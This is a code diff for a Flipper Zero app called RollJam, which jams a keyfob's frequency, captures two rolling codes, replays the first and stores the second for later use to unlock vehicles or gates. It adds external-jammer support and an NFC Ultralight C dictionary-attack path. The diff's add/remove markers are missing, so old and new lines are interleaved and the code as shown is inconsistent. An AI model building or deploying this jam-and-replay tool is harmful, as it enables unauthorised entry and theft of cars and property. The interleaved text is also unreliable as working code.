FURI_LOG_I(TAG, "Capture start: freq=%lu mod=%d offset=%lu",
app->frequency, app->mod_index, app->jam_offset_hz);
// Full radio reset sequence
furi_hal_subghz_reset();
furi_delay_ms(10);
furi_hal_subghz_idle();
furi_delay_ms(10);
const uint8_t* preset;
const uint8_t* src_preset;
switch(app->mod_index) {
case ModIndex_FM238:
case ModIndex_FM476:
preset = preset_fsk_rx;
break;
default:
preset = preset_ook_rx;
break;
case ModIndex_AM270: src_preset = preset_ook_270_async; break;
case ModIndex_FM238: src_preset = preset_2fsk_238_async; break;
case ModIndex_FM476: src_preset = preset_2fsk_476_async; break;
default: src_preset = preset_ook_650_async; break;
}
furi_hal_subghz_load_custom_preset(preset);
furi_hal_subghz_load_custom_preset(src_preset);
furi_delay_ms(5);
uint32_t real_freq = furi_hal_subghz_set_frequency(app->frequency);
FURI_LOG_I(TAG, "Capture: freq set to %lu", real_freq);
uint32_t real_freq = furi_hal_subghz_set_frequency_and_path(app->frequency);
FURI_LOG_I(TAG, "Capture: freq=%lu (requested %lu)", real_freq, app->frequency);
furi_delay_ms(5);
furi_hal_subghz_rx();
furi_delay_ms(50);
cap_rssi_baseline = furi_hal_subghz_get_rssi();
float rssi_baseline = furi_hal_subghz_get_rssi();
g_cap.rssi_baseline = rssi_baseline;
FURI_LOG_I(TAG, "Capture: RSSI baseline=%.1f dBm", (double)rssi_baseline);
furi_hal_subghz_idle();
furi_delay_ms(5);
FURI_LOG_I(TAG, "Capture: RSSI baseline=%.1f dBm", (double)cap_rssi_baseline);
cap_state = CapWaiting;
cap_valid_count = 0;
cap_total_count = 0;
cap_callback_count = 0;
cap_ctx_reset(&g_cap);
// Determine target
if(!app->signal_first.valid) {
cap_target_first = true;
app->signal_first.size = 0;
g_cap.target_first = true;
app->signal_first.size = 0;
app->signal_first.valid = false;
FURI_LOG_I(TAG, "Capture target: FIRST signal");
} else {
cap_target_first = false;
app->signal_second.size = 0;
g_cap.target_first = false;
app->signal_second.size = 0;
app->signal_second.valid = false;
FURI_LOG_I(TAG, "Capture target: SECOND signal (first already valid, size=%d)",
app->signal_first.size);
FURI_LOG_I(TAG, "Capture target: SECOND signal");
}
g_cap.mod_index = app->mod_index;
app->raw_capture_active = true;
furi_hal_subghz_start_async_rx(capture_rx_callback, app);
FURI_LOG_I(TAG, "Capture: RX STARTED, active=%d, target_first=%d",
app->raw_capture_active, cap_target_first);
FURI_LOG_I(TAG, "Capture: RX STARTED");
}
void rolljam_capture_stop(RollJamApp* app) {
@@ -334,16 +436,11 @@ void rolljam_capture_stop(RollJamApp* app) {
FURI_LOG_W(TAG, "Capture stop: was not active");
return;
}
app->raw_capture_active = false;
furi_hal_subghz_stop_async_rx();
furi_delay_ms(5);
furi_hal_subghz_idle();
furi_delay_ms(5);
FURI_LOG_I(TAG, "Capture stopped. callbacks=%lu capState=%d validCnt=%d totalCnt=%d",
cap_callback_count, cap_state, cap_valid_count, cap_total_count);
FURI_LOG_I(TAG, "Capture stopped. cb=%lu state=%d valid=%d total=%d",
g_cap.callback_count, g_cap.state, g_cap.valid_count, g_cap.total_count);
FURI_LOG_I(TAG, " Sig1: size=%d valid=%d", app->signal_first.size, app->signal_first.valid);
FURI_LOG_I(TAG, " Sig2: size=%d valid=%d", app->signal_second.size, app->signal_second.valid);
}
@@ -353,64 +450,46 @@ void rolljam_capture_stop(RollJamApp* app) {
// ============================================================
bool rolljam_signal_is_valid(RawSignal* signal) {
if(cap_state != CapDone) {
// Log every few checks so we can see if callbacks are happening
if(g_cap.state != CapDone) {
static int check_count = 0;
check_count++;
if(check_count % 10 == 0) {
FURI_LOG_D(TAG, "Validate: not done yet, state=%d callbacks=%lu valid=%d total=%d sig_size=%d",
cap_state, cap_callback_count, cap_valid_count, cap_total_count, signal->size);
}
if(check_count % 10 == 0)
FURI_LOG_D(TAG, "Validate: state=%d cb=%lu valid=%d total=%d size=%d",
g_cap.state, g_cap.callback_count,
g_cap.valid_count, g_cap.total_count, (int)signal->size);
return false;
}
if(signal->size < MIN_FRAME_PULSES) return false;
if(signal->size < (size_t)MIN_FRAME_PULSES) return false;
// Reject jammer noise: if signal is uniform amplitude, it's our own jam
if(rolljam_is_jammer_pattern(signal)) {
FURI_LOG_W(TAG, "Jammer noise ignored (size=%d)", signal->size);
if(rolljam_is_jammer_pattern_mod(signal, g_cap.mod_index)) {
signal->size = 0;
cap_state = CapWaiting;
cap_valid_count = 0;
cap_total_count = 0;
cap_ctx_reset(&g_cap);
return false;
}
int good = 0;
int total = (int)signal->size;
for(int i = 0; i < total; i++) {
int16_t val = signal->data[i];
int16_t abs_val = val > 0 ? val : -val;
if((int32_t)abs_val >= MIN_PULSE_US) { // upper bound = clamp at 32767
good++;
}
if(!rolljam_has_sufficient_variance(signal)) {
signal->size = 0;
cap_ctx_reset(&g_cap);
return false;
}
int good = 0;
int total = (int)signal->size;
for(int i = 0; i < total; i++) {
int16_t abs_val = signal->data[i] > 0 ? signal->data[i] : -signal->data[i];
if(abs_val >= MIN_PULSE_US) good++;
}
int ratio_pct = (total > 0) ? ((good * 100) / total) : 0;
if(ratio_pct > 50 && good >= MIN_FRAME_PULSES) {
float rssi = furi_hal_subghz_get_rssi();
float rssi_delta = rssi - cap_rssi_baseline;
FURI_LOG_I(TAG, "Signal VALID: %d/%d (%d%%) samples=%d rssi=%.1f delta=%.1f",
good, total, ratio_pct, total, (double)rssi, (double)rssi_delta);
if(rssi_delta < 5.0f && rssi < -85.0f) {
FURI_LOG_W(TAG, "Signal rejected: RSSI too low (%.1f dBm, delta=%.1f)",
(double)rssi, (double)rssi_delta);
signal->size = 0;
cap_state = CapWaiting;
cap_valid_count = 0;
cap_total_count = 0;
return false;
}
FURI_LOG_I(TAG, "Signal VALID: %d/%d (%d%%) size=%d", good, total, ratio_pct, total);
return true;
}
FURI_LOG_D(TAG, "Signal rejected: %d/%d (%d%%), reset", good, total, ratio_pct);
FURI_LOG_D(TAG, "Signal rejected: %d/%d (%d%%)", good, total, ratio_pct);
signal->size = 0;
cap_state = CapWaiting;
cap_valid_count = 0;
cap_total_count = 0;
cap_ctx_reset(&g_cap);
return false;
}
@@ -419,7 +498,7 @@ bool rolljam_signal_is_valid(RawSignal* signal) {
// ============================================================
void rolljam_signal_cleanup(RawSignal* signal) {
if(signal->size < MIN_FRAME_PULSES) return;
if(signal->size < (size_t)MIN_FRAME_PULSES) return;
int16_t* cleaned = malloc(RAW_SIGNAL_MAX_SIZE * sizeof(int16_t));
if(!cleaned) return;
@@ -427,22 +506,21 @@ void rolljam_signal_cleanup(RawSignal* signal) {
size_t start = 0;
while(start < signal->size) {
int16_t val = signal->data[start];
int16_t abs_val = val > 0 ? val : -val;
int16_t abs_val = signal->data[start] > 0 ? signal->data[start] : -signal->data[start];
if(abs_val >= MIN_PULSE_US) break;
start++;
}
for(size_t i = start; i < signal->size; i++) {
int16_t val = signal->data[i];
int16_t abs_val = val > 0 ? val : -val;
bool is_positive = val > 0;
int16_t val = signal->data[i];
int16_t abs_val = val > 0 ? val : -val;
bool is_positive = (val > 0);
if(abs_val < MIN_PULSE_US) {
if(out > 0) {
int16_t prev = cleaned[out - 1];
bool prev_positive = prev > 0;
int16_t prev_abs = prev > 0 ? prev : -prev;
int16_t prev = cleaned[out - 1];
bool prev_positive = (prev > 0);
int16_t prev_abs = prev > 0 ? prev : -prev;
if(prev_positive == is_positive) {
int32_t merged = (int32_t)prev_abs + abs_val;
if(merged > 32767) merged = 32767;
@@ -455,27 +533,23 @@ void rolljam_signal_cleanup(RawSignal* signal) {
int32_t q = ((abs_val + 50) / 100) * 100;
if(q < MIN_PULSE_US) q = MIN_PULSE_US;
if(q > 32767) q = 32767;
int16_t quantized = (int16_t)q;
if(out < RAW_SIGNAL_MAX_SIZE) {
cleaned[out++] = is_positive ? quantized : -quantized;
}
if(out < RAW_SIGNAL_MAX_SIZE)
cleaned[out++] = is_positive ? (int16_t)q : -(int16_t)q;
}
while(out > 0) {
int16_t last = cleaned[out - 1];
int16_t abs_last = last > 0 ? last : -last;
int16_t abs_last = cleaned[out-1] > 0 ? cleaned[out-1] : -cleaned[out-1];
if(abs_last >= MIN_PULSE_US && abs_last < 32767) break;
out--;
}
if(out >= MIN_FRAME_PULSES) {
if(out >= (size_t)MIN_FRAME_PULSES) {
size_t orig = signal->size;
memcpy(signal->data, cleaned, out * sizeof(int16_t));
signal->size = out;
FURI_LOG_I(TAG, "Cleanup: %d -> %d samples", (int)orig, (int)out);
}
free(cleaned);
}
@@ -484,8 +558,8 @@ void rolljam_signal_cleanup(RawSignal* signal) {
// ============================================================
typedef struct {
const int16_t* data;
size_t size;
const int16_t* data;
size_t size;
volatile size_t index;
} TxCtx;
@@ -494,11 +568,9 @@ static TxCtx g_tx;
static LevelDuration tx_feed(void* context) {
UNUSED(context);
if(g_tx.index >= g_tx.size) return level_duration_reset();
int16_t sample = g_tx.data[g_tx.index++];
bool level = (sample > 0);
uint32_t dur = (uint32_t)(sample > 0 ? sample : -sample);
bool level = (sample > 0);
uint32_t dur = (uint32_t)(sample > 0 ? sample : -sample);
return level_duration_make(level, dur);
}
@@ -507,33 +579,23 @@ void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal) {
FURI_LOG_E(TAG, "TX: no valid signal");
return;
}
FURI_LOG_I(TAG, "TX: %d samples at %lu Hz (3x)", (int)signal->size, app->frequency);
FURI_LOG_I(TAG, "TX: %d samples at %lu Hz (3x)", signal->size, app->frequency);
furi_hal_subghz_reset();
furi_hal_subghz_idle();
furi_delay_ms(10);
const uint8_t* tx_preset;
const uint8_t* tx_src;
switch(app->mod_index) {
case ModIndex_FM238:
tx_preset = preset_fsk_tx_238;
break;
case ModIndex_FM476:
tx_preset = preset_fsk_tx_476;
break;
default:
tx_preset = preset_ook_tx;
break;
case ModIndex_FM238: tx_src = preset_fsk_tx_238; break;
case ModIndex_FM476: tx_src = preset_fsk_tx_476; break;
default: tx_src = preset_ook_tx; break;
}
furi_hal_subghz_load_custom_preset(tx_preset);
uint32_t real_freq = furi_hal_subghz_set_frequency(app->frequency);
furi_hal_subghz_load_custom_preset(tx_src);
uint32_t real_freq = furi_hal_subghz_set_frequency_and_path(app->frequency);
FURI_LOG_I(TAG, "TX: freq=%lu", real_freq);
furi_hal_subghz_idle();
furi_delay_ms(5);
// Transmit 3 times — improves reliability especially at range
for(int tx_repeat = 0; tx_repeat < 3; tx_repeat++) {
g_tx.data = signal->data;
g_tx.size = signal->size;
g_tx.data = signal->data;
g_tx.size = signal->size;
g_tx.index = 0;
if(!furi_hal_subghz_start_async_tx(tx_feed, NULL)) {
@@ -550,14 +612,11 @@ void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal) {
break;
}
}
furi_hal_subghz_stop_async_tx();
FURI_LOG_I(TAG, "TX: repeat %d done (%d/%d)", tx_repeat, g_tx.index, signal->size);
// Small gap between repeats
FURI_LOG_I(TAG, "TX: repeat %d done (%d/%d)",
tx_repeat, (int)g_tx.index, (int)signal->size);
if(tx_repeat < 2) furi_delay_ms(50);
}
furi_hal_subghz_idle();
FURI_LOG_I(TAG, "TX: all repeats done");
}
@@ -590,24 +649,20 @@ void rolljam_save_signal(RollJamApp* app, RawSignal* signal) {
furi_string_set(line, "Filetype: Flipper SubGhz RAW File\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
furi_string_printf(line, "Version: 1\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
furi_string_printf(line, "Frequency: %lu\n", app->frequency);
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
const char* pname;
switch(app->mod_index) {
case ModIndex_AM270: pname = "FuriHalSubGhzPresetOok270Async"; break;
case ModIndex_AM270: pname = "FuriHalSubGhzPresetOok270Async"; break;
case ModIndex_FM238: pname = "FuriHalSubGhzPreset2FSKDev238Async"; break;
case ModIndex_FM476: pname = "FuriHalSubGhzPreset2FSKDev476Async"; break;
default: pname = "FuriHalSubGhzPresetOok650Async"; break;
default: pname = "FuriHalSubGhzPresetOok650Async"; break;
}
furi_string_printf(line, "Preset: %s\n", pname);
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
furi_string_printf(line, "Protocol: RAW\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
@@ -616,15 +671,13 @@ void rolljam_save_signal(RollJamApp* app, RawSignal* signal) {
furi_string_set(line, "RAW_Data:");
size_t end = i + 512;
if(end > signal->size) end = signal->size;
for(; i < end; i++) {
for(; i < end; i++)
furi_string_cat_printf(line, " %d", signal->data[i]);
}
furi_string_cat(line, "\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
}
furi_string_free(line);
FURI_LOG_I(TAG, "Saved: %d samples", signal->size);
FURI_LOG_I(TAG, "Saved: %d samples", (int)signal->size);
} else {
FURI_LOG_E(TAG, "Save failed!");
}

View File

@@ -15,20 +15,11 @@
* This matches the Flipper .sub RAW format.
*/
// Start raw capture on internal CC1101
void rolljam_capture_start(RollJamApp* app);
// Stop capture
void rolljam_capture_stop(RollJamApp* app);
// Check if captured signal looks valid (not just noise)
bool rolljam_signal_is_valid(RawSignal* signal);
// Clean up captured signal: merge short pulses, quantize, trim noise
void rolljam_signal_cleanup(RawSignal* signal);
// Transmit a raw signal via internal CC1101
void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal);
// Save signal to .sub file on SD card
void rolljam_save_signal(RollJamApp* app, RawSignal* signal);

View File

@@ -57,6 +57,11 @@ const char* jam_offset_names[] = {
"1000 kHz",
};
const char* hw_names[] = {
"CC1101",
"Flux Cap",
};
// ============================================================
// Scene handlers table (extern declarations in scene header)
// ============================================================
@@ -119,6 +124,7 @@ static RollJamApp* rolljam_app_alloc(void) {
app->mod_index = ModIndex_AM650;
app->jam_offset_index = JamOffIndex_700k;
app->jam_offset_hz = jam_offset_values[JamOffIndex_700k];
app->hw_index = HwIndex_CC1101;
// Services
app->gui = furi_record_open(RECORD_GUI);
@@ -174,7 +180,6 @@ static RollJamApp* rolljam_app_alloc(void) {
// ============================================================
static void rolljam_app_free(RollJamApp* app) {
// Safety: stop everything
if(app->jamming_active) {
rolljam_jammer_stop(app);
}
@@ -182,7 +187,6 @@ static void rolljam_app_free(RollJamApp* app) {
rolljam_capture_stop(app);
}
// Remove views
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewVarItemList);
variable_item_list_free(app->var_item_list);
@@ -195,11 +199,9 @@ static void rolljam_app_free(RollJamApp* app) {
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewPopup);
popup_free(app->popup);
// Core
scene_manager_free(app->scene_manager);
view_dispatcher_free(app->view_dispatcher);
// Services
furi_record_close(RECORD_GUI);
furi_record_close(RECORD_NOTIFICATION);
furi_record_close(RECORD_STORAGE);

View File

@@ -18,7 +18,6 @@
#define TAG "RollJam"
// Max raw signal buffer
#define RAW_SIGNAL_MAX_SIZE 4096
// ============================================================
@@ -69,6 +68,17 @@ typedef enum {
extern const uint32_t jam_offset_values[];
extern const char* jam_offset_names[];
// ============================================================
// Hardware type
// ============================================================
typedef enum {
HwIndex_CC1101 = 0,
HwIndex_FluxCapacitor,
HwIndex_COUNT,
} HwIndex;
extern const char* hw_names[];
// ============================================================
// Scenes
// ============================================================
@@ -116,37 +126,33 @@ typedef struct {
// Main app struct
// ============================================================
typedef struct {
// Core
Gui* gui;
ViewDispatcher* view_dispatcher;
SceneManager* scene_manager;
NotificationApp* notification;
Storage* storage;
// Views / modules
VariableItemList* var_item_list;
Widget* widget;
DialogEx* dialog_ex;
Popup* popup;
// Settings
FreqIndex freq_index;
ModIndex mod_index;
JamOffIndex jam_offset_index;
HwIndex hw_index;
uint32_t frequency;
uint32_t jam_frequency;
uint32_t jam_offset_hz;
// Captured signals
RawSignal signal_first;
RawSignal signal_second;
// Jamming state
bool jamming_active;
FuriThread* jam_thread;
volatile bool jam_thread_running;
// Capture state
volatile bool raw_capture_active;
} RollJamApp;

View File

@@ -9,10 +9,8 @@
static void phase1_timer_callback(void* context) {
RollJamApp* app = context;
if(app->signal_first.size > 0 &&
if(app->signal_first.size >= 20 &&
rolljam_signal_is_valid(&app->signal_first)) {
rolljam_signal_cleanup(&app->signal_first);
app->signal_first.valid = true;
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventSignalCaptured);
}
@@ -27,7 +25,32 @@ void rolljam_scene_attack_phase1_on_enter(void* context) {
FontPrimary, "PHASE 1 / 4");
widget_add_string_element(
app->widget, 64, 16, AlignCenter, AlignTop,
FontSecondary, "Jamming active...");
FontSecondary, "Starting...");
widget_add_string_element(
app->widget, 64, 56, AlignCenter, AlignTop,
FontSecondary, "[BACK] cancel");
view_dispatcher_switch_to_view(app->view_dispatcher, RollJamViewWidget);
rolljam_ext_set_flux_capacitor(app->hw_index == HwIndex_FluxCapacitor);
rolljam_jammer_start(app);
furi_delay_ms(300);
widget_reset(app->widget);
widget_add_string_element(
app->widget, 64, 2, AlignCenter, AlignTop,
FontPrimary, "PHASE 1 / 4");
if(app->jamming_active) {
widget_add_string_element(
app->widget, 64, 16, AlignCenter, AlignTop,
FontSecondary, "Jamming active...");
FURI_LOG_I(TAG, "Phase1: jammer activo en %lu Hz", app->jam_frequency);
} else {
widget_add_string_element(
app->widget, 64, 16, AlignCenter, AlignTop,
FontSecondary, "No ext jammer");
FURI_LOG_W(TAG, "Phase1: sin jammer, capturando de todas formas");
}
widget_add_string_element(
app->widget, 64, 28, AlignCenter, AlignTop,
FontSecondary, "Listening for keyfob");
@@ -38,13 +61,6 @@ void rolljam_scene_attack_phase1_on_enter(void* context) {
app->widget, 64, 56, AlignCenter, AlignTop,
FontSecondary, "[BACK] cancel");
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewWidget);
// Start jamming
rolljam_jammer_start(app);
// Start capture
rolljam_capture_start(app);
notification_message(app->notification, &sequence_blink_blue_100);
@@ -64,21 +80,29 @@ bool rolljam_scene_attack_phase1_on_event(void* context, SceneManagerEvent event
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventSignalCaptured) {
notification_message(app->notification, &sequence_success);
FURI_LOG_I(TAG, "Phase1: 1st signal captured! size=%d",
app->signal_first.size);
// Stop capture cleanly
rolljam_capture_stop(app);
// Jamming stays active!
scene_manager_next_scene(
app->scene_manager, RollJamSceneAttackPhase2);
if(!rolljam_signal_is_valid(&app->signal_first)) {
FURI_LOG_W(TAG, "Phase1: false capture, restarting RX...");
app->signal_first.size = 0;
app->signal_first.valid = false;
furi_delay_ms(50);
rolljam_capture_start(app);
return true;
}
rolljam_signal_cleanup(&app->signal_first);
app->signal_first.valid = true;
notification_message(app->notification, &sequence_success);
FURI_LOG_I(TAG, "Phase1: 1st signal captured! size=%d",
(int)app->signal_first.size);
scene_manager_next_scene(app->scene_manager, RollJamSceneAttackPhase2);
return true;
}
} else if(event.type == SceneManagerEventTypeBack) {
FURI_LOG_I(TAG, "Phase1: cancelled by user");
FURI_LOG_I(TAG, "Phase1: cancelled");
rolljam_capture_stop(app);
rolljam_jammer_stop(app);
scene_manager_search_and_switch_to_another_scene(

View File

@@ -9,10 +9,8 @@
static void phase2_timer_callback(void* context) {
RollJamApp* app = context;
if(app->signal_second.size > 0 &&
if(app->signal_second.size >= 20 &&
rolljam_signal_is_valid(&app->signal_second)) {
rolljam_signal_cleanup(&app->signal_second);
app->signal_second.valid = true;
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventSignalCaptured);
}
@@ -38,21 +36,14 @@ void rolljam_scene_attack_phase2_on_enter(void* context) {
app->widget, 64, 56, AlignCenter, AlignTop,
FontSecondary, "[BACK] cancel");
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewWidget);
view_dispatcher_switch_to_view(app->view_dispatcher, RollJamViewWidget);
// CRITICAL: completely clear second signal
memset(app->signal_second.data, 0, sizeof(app->signal_second.data));
app->signal_second.size = 0;
app->signal_second.size = 0;
app->signal_second.valid = false;
// Stop previous capture if any
rolljam_capture_stop(app);
// Small delay to let radio settle
furi_delay_ms(50);
// Start fresh capture for second signal
rolljam_capture_start(app);
notification_message(app->notification, &sequence_blink_yellow_100);
@@ -72,19 +63,30 @@ bool rolljam_scene_attack_phase2_on_event(void* context, SceneManagerEvent event
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventSignalCaptured) {
notification_message(app->notification, &sequence_success);
FURI_LOG_I(TAG, "Phase2: 2nd signal captured! size=%d",
app->signal_second.size);
rolljam_capture_stop(app);
scene_manager_next_scene(
app->scene_manager, RollJamSceneAttackPhase3);
if(!rolljam_signal_is_valid(&app->signal_second)) {
FURI_LOG_W(TAG, "Phase2: false capture, restarting RX...");
app->signal_second.size = 0;
app->signal_second.valid = false;
furi_delay_ms(50);
rolljam_capture_start(app);
return true;
}
rolljam_signal_cleanup(&app->signal_second);
app->signal_second.valid = true;
notification_message(app->notification, &sequence_success);
FURI_LOG_I(TAG, "Phase2: 2nd signal captured! size=%d",
(int)app->signal_second.size);
rolljam_capture_stop(app);
scene_manager_next_scene(app->scene_manager, RollJamSceneAttackPhase3);
return true;
}
} else if(event.type == SceneManagerEventTypeBack) {
FURI_LOG_I(TAG, "Phase2: cancelled by user");
FURI_LOG_I(TAG, "Phase2: cancelled");
rolljam_capture_stop(app);
rolljam_jammer_stop(app);
scene_manager_search_and_switch_to_another_scene(

View File

@@ -10,7 +10,6 @@
void rolljam_scene_attack_phase3_on_enter(void* context) {
RollJamApp* app = context;
// UI
widget_reset(app->widget);
widget_add_string_element(
app->widget, 64, 2, AlignCenter, AlignTop,
@@ -28,23 +27,18 @@ void rolljam_scene_attack_phase3_on_enter(void* context) {
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewWidget);
// LED: green
notification_message(app->notification, &sequence_blink_green_100);
// 1) Stop the jammer
rolljam_jammer_stop(app);
// Wait for jammer thread to fully stop and radio to settle
furi_delay_ms(1000);
// 2) Transmit first captured signal via internal CC1101
rolljam_transmit_signal(app, &app->signal_first);
FURI_LOG_I(TAG, "Phase3: 1st code replayed. Keeping 2nd code.");
notification_message(app->notification, &sequence_success);
// Brief display then advance
furi_delay_ms(800);
view_dispatcher_send_custom_event(

View File

@@ -4,36 +4,69 @@
// Menu scene: select frequency, modulation, start attack
// ============================================================
static uint8_t get_min_offset_index(uint8_t mod_index) {
if(mod_index == ModIndex_AM270) return JamOffIndex_1000k;
return JamOffIndex_300k;
}
static void enforce_min_offset(RollJamApp* app, VariableItem* offset_item) {
uint8_t min_idx = get_min_offset_index(app->mod_index);
if(app->jam_offset_index < min_idx) {
app->jam_offset_index = min_idx;
app->jam_offset_hz = jam_offset_values[min_idx];
if(offset_item) {
variable_item_set_current_value_index(offset_item, min_idx);
variable_item_set_current_value_text(offset_item, jam_offset_names[min_idx]);
}
FURI_LOG_I(TAG, "Menu: offset ajustado a %s para AM270",
jam_offset_names[min_idx]);
}
}
static VariableItem* s_offset_item = NULL;
static void menu_freq_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->freq_index = index;
app->frequency = freq_values[index];
app->frequency = freq_values[index];
variable_item_set_current_value_text(item, freq_names[index]);
}
static void menu_mod_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->mod_index = index;
variable_item_set_current_value_text(item, mod_names[index]);
enforce_min_offset(app, s_offset_item);
}
static void menu_jam_offset_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
uint8_t min_idx = get_min_offset_index(app->mod_index);
if(index < min_idx) {
index = min_idx;
variable_item_set_current_value_index(item, index);
}
app->jam_offset_index = index;
app->jam_offset_hz = jam_offset_values[index];
app->jam_offset_hz = jam_offset_values[index];
variable_item_set_current_value_text(item, jam_offset_names[index]);
}
static void menu_hw_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->hw_index = index;
variable_item_set_current_value_text(item, hw_names[index]);
}
static void menu_enter_callback(void* context, uint32_t index) {
RollJamApp* app = context;
if(index == 3) {
if(index == 4) {
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventStartAttack);
}
@@ -64,15 +97,30 @@ void rolljam_scene_menu_on_enter(void* context) {
variable_item_set_current_value_index(mod_item, app->mod_index);
variable_item_set_current_value_text(mod_item, mod_names[app->mod_index]);
// --- Jam Offset ---
VariableItem* offset_item = variable_item_list_add(
app->var_item_list,
"Jam Offset",
JamOffIndex_COUNT,
menu_jam_offset_changed,
app);
s_offset_item = offset_item;
enforce_min_offset(app, offset_item);
variable_item_set_current_value_index(offset_item, app->jam_offset_index);
variable_item_set_current_value_text(offset_item, jam_offset_names[app->jam_offset_index]);
// --- Hardware ---
VariableItem* hw_item = variable_item_list_add(
app->var_item_list,
"Hardware",
HwIndex_COUNT,
menu_hw_changed,
app);
variable_item_set_current_value_index(hw_item, app->hw_index);
variable_item_set_current_value_text(hw_item, hw_names[app->hw_index]);
// --- Start button ---
variable_item_list_add(
app->var_item_list,
@@ -93,8 +141,9 @@ bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event) {
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventStartAttack) {
// Clear previous captures
memset(&app->signal_first, 0, sizeof(RawSignal));
enforce_min_offset(app, NULL);
memset(&app->signal_first, 0, sizeof(RawSignal));
memset(&app->signal_second, 0, sizeof(RawSignal));
scene_manager_next_scene(
@@ -107,5 +156,6 @@ bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event) {
void rolljam_scene_menu_on_exit(void* context) {
RollJamApp* app = context;
s_offset_item = NULL;
variable_item_list_reset(app->var_item_list);
}

View File

@@ -48,7 +48,7 @@ bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event) {
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventSaveSignal) {
// Save to .sub file
rolljam_save_signal(app, &app->signal_second);
popup_reset(app->popup);
@@ -68,7 +68,7 @@ bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event) {
return true;
} else if(event.event == RollJamEventReplayNow) {
// Show sending screen
popup_reset(app->popup);
popup_set_header(
app->popup, "Transmitting...",
@@ -79,7 +79,6 @@ bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event) {
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewPopup);
// Transmit second signal
rolljam_transmit_signal(app, &app->signal_second);
notification_message(app->notification, &sequence_success);

View File

@@ -14,7 +14,9 @@ enum {
SubmenuIndexUnlock = SubmenuIndexCommonMax,
SubmenuIndexUnlockByReader,
SubmenuIndexUnlockByPassword,
SubmenuIndexDictAttack
SubmenuIndexDictAttack,
SubmenuIndexWriteKeepKey, // ULC: write data pages, keep target card's existing key
SubmenuIndexWriteCopyKey, // ULC: write all pages including key from source card
};
enum {
@@ -214,8 +216,26 @@ static void nfc_scene_read_and_saved_menu_on_enter_mf_ultralight(NfcApp* instanc
if(is_locked ||
(data->type != MfUltralightTypeNTAG213 && data->type != MfUltralightTypeNTAG215 &&
data->type != MfUltralightTypeNTAG216 && data->type != MfUltralightTypeUL11 &&
data->type != MfUltralightTypeUL21 && data->type != MfUltralightTypeOrigin)) {
data->type != MfUltralightTypeUL21 && data->type != MfUltralightTypeOrigin &&
data->type != MfUltralightTypeMfulC)) {
submenu_remove_item(submenu, SubmenuIndexCommonWrite);
} else if(data->type == MfUltralightTypeMfulC) {
// Replace the generic Write item with two ULC-specific options so the user
// can choose whether to keep or overwrite the target card's 3DES key.
// This avoids any mid-write dialog/view-switching complexity entirely.
submenu_remove_item(submenu, SubmenuIndexCommonWrite);
submenu_add_item(
submenu,
"Write (Keep Key)",
SubmenuIndexWriteKeepKey,
nfc_protocol_support_common_submenu_callback,
instance);
submenu_add_item(
submenu,
"Write (Copy Key)",
SubmenuIndexWriteCopyKey,
nfc_protocol_support_common_submenu_callback,
instance);
}
if(is_locked) {
@@ -291,6 +311,14 @@ static bool nfc_scene_read_and_saved_menu_on_event_mf_ultralight(
scene_manager_next_scene(instance->scene_manager, NfcSceneMfUltralightCDictAttack);
}
consumed = true;
} else if(event.event == SubmenuIndexWriteKeepKey) {
instance->mf_ultralight_c_write_context.copy_key = false;
scene_manager_next_scene(instance->scene_manager, NfcSceneWrite);
consumed = true;
} else if(event.event == SubmenuIndexWriteCopyKey) {
instance->mf_ultralight_c_write_context.copy_key = true;
scene_manager_next_scene(instance->scene_manager, NfcSceneWrite);
consumed = true;
}
}
return consumed;
@@ -307,12 +335,139 @@ static NfcCommand
if(mf_ultralight_event->type == MfUltralightPollerEventTypeRequestMode) {
mf_ultralight_event->data->poller_mode = MfUltralightPollerModeWrite;
furi_string_reset(instance->text_box_store);
if(instance->mf_ultralight_c_dict_context.dict) {
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
}
instance->mf_ultralight_c_dict_context.dict = NULL;
instance->mf_ultralight_c_write_context.dict_state = NfcMfUltralightCWriteDictIdle;
view_dispatcher_send_custom_event(instance->view_dispatcher, NfcCustomEventCardDetected);
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeAuthRequest) {
// Skip auth during the read phase of write - we'll authenticate
// against the target card in RequestWriteData using source key or dict attack
mf_ultralight_event->data->auth_context.skip_auth = true;
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeRequestKey) {
// Dict attack key provider - user dict first, then system dict
if(!instance->mf_ultralight_c_dict_context.dict &&
instance->mf_ultralight_c_write_context.dict_state == NfcMfUltralightCWriteDictIdle) {
if(keys_dict_check_presence(NFC_APP_MF_ULTRALIGHT_C_DICT_USER_PATH)) {
